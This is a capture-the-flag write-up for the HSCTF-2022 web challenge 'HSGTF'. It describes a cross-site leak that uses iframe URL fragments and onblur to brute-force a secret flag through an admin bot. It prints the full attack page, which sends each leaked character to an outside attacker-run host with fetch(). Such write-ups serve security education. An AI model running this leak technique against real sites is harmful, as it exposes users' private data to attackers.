HSGTF
07/08/2022
By: smashmaster and HELLOPERSON (for the memory lane trip)
Tags: web HSCTF-2022Problem Description:
Why solve challenges when you can just guess the flag?
Hints:
Reveal Hints
In iframes you control the url. What are the parts of an url.There was a cool Angstorm CTF challenge called Sustenance. We overcomplicated our initial ideas for this because of our experience with this past problem. But while I was referencing past messages on the thread I came across a certain chain of messages.
So I looked in the template and was like OMFG it has the id attributes!
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>Create Page</title>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="/static/index.css" />
</head>
<body>
<div id="wrong">
<h1>Wrong!</h1>
<p>Your guess was: ""</p>
<a id="tryagain" href="/">Try Again</a>
</div>
</body>
</html>
So basically we can tell the difference between a correct guess and a wrong guess by navigating to an iframe with the guess and trying to scroll to the id element triggering the onblur on success
The final payload ends up being
<html>
<head>
<title>GET PWNED FOR REALZ</title>
</head>
<body onblur="fetch('https://evil.amateurs.team/' + Date.now() + '?' + window.letter )">
<iframe src="http://web1.hsctf.com:8001/guess?guess=nothingtoseehere" id="iframe" height="50" width="50">
</iframe>
<script>
window.letter = "?"
const charset = "}_etaoinsrhdlucmfywgpbvkxqjz"
const soFar = "flag{guessgod_nkdtcf";
function wait(ms){return new Promise((resolve, reject) => setTimeout(resolve, ms));}
setTimeout(async () => {
for(let i = 0; i < charset.length; i ++){
window.letter = charset[i];
console.log("Checking",charset[i]);
let url = "http://web1.hsctf.com:8001/guess?guess=" + soFar + charset[i] + "#continue";
iframe.src = url;
await wait(200);
}
}, 20);
console.log("Launched PWN!");
</script>
</body>
</html>
We hosted this page on a server controlled by us and made the admin bot navigate to it. It took approximately 1 to 3 seconds for each letter to be obtained, because we edited the soFar
variable each time a letter was obtained. The flag ended with random letters so I was confused on whether my script was breaking and missing a letter but it turns out I just stopped right before the }
.
Other noteworthy things that are relevant
We would not need ids if we could use the fancy new scroll to text fragment. Sadly google thought ahead of us and blocked this as we found in Sustenance.